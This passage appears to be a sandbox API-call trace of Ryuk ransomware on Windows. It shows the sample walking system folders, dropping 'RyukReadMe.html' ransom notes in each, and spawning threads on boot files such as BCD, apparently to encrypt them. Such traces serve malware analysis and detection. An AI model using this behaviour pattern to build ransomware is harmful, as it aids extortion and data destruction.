	[0122.452] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a0a0
	[0122.453] FindNextFileW (in: hFindFile=0x7a0a0, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.453] FindNextFileW (in: hFindFile=0x7a0a0, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0122.453] FindNextFileW (in: hFindFile=0x7a0a0, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0122.453] FindClose (in: hFindFile=0x7a0a0 | out: hFindFile=0x7a0a0) returned 1
	[0122.453] SetLastError (dwErrCode=0x0) 
	[0122.453] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x22c
	[0122.454] GetLastError () returned 0x0
	[0122.454] WriteFile (in: hFile=0x22c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x26ae468*=0x273, lpOverlapped=0x0) returned 1
	[0122.457] CloseHandle (hObject=0x22c) returned 1
	[0122.457] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0122.458] FindClose (in: hFindFile=0x79e00 | out: hFindFile=0x79e00) returned 1
	[0122.458] SetLastError (dwErrCode=0x0) 
	[0122.458] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.458] GetLastError () returned 0x5
	[0122.458] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0122.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.458] FindNextFileW (in: hFindFile=0x79da0, lpFindFileData=0x26aec50 | out: lpFindFileData=0x26aec50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0122.459] SetLastError (dwErrCode=0x0) 
	[0122.459] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.459] GetLastError () returned 0x5
	[0122.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aeb98, lpOverlapped=0x0) returned 0
	[0122.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.460] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79e00
	[0122.460] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.460] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0122.460] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8820000
	[0122.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0122.464] VirtualFree (lpAddress=0x8820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.465] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0122.465] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8820000
	[0122.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0122.468] VirtualFree (lpAddress=0x8820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.469] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0122.469] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8820000
	[0122.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0122.472] VirtualFree (lpAddress=0x8820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.473] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0122.473] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8820000
	[0122.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0122.865] VirtualFree (lpAddress=0x8820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.866] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0122.866] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0122.866] SetLastError (dwErrCode=0x0) 
	[0122.866] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.867] GetLastError () returned 0x5
	[0122.867] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.867] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.867] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.867] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.867] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.868] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.868] SetLastError (dwErrCode=0x0) 
	[0122.868] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\boot\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.868] GetLastError () returned 0x5
	[0122.868] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.868] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0122.868] SetLastError (dwErrCode=0x0) 
	[0122.869] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.869] GetLastError () returned 0x5
	[0122.869] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.869] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.869] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.870] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.870] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.870] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.870] SetLastError (dwErrCode=0x0) 
	[0122.870] CreateFileW (lpFileName="C:\\Boot\\da-DK\\RyukReadMe.html" (normalized: "c:\\boot\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.870] GetLastError () returned 0x5
	[0122.870] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.871] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0122.871] SetLastError (dwErrCode=0x0) 
	[0122.871] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.871] GetLastError () returned 0x5
	[0122.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.871] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0122.872] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0122.872] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0122.872] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0122.872] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0122.872] SetLastError (dwErrCode=0x0) 
	[0122.872] CreateFileW (lpFileName="C:\\Boot\\de-DE\\RyukReadMe.html" (normalized: "c:\\boot\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.872] GetLastError () returned 0x5
	[0122.873] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.873] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0122.873] SetLastError (dwErrCode=0x0) 
	[0122.873] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.873] GetLastError () returned 0x5
	[0122.873] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0122.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.873] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
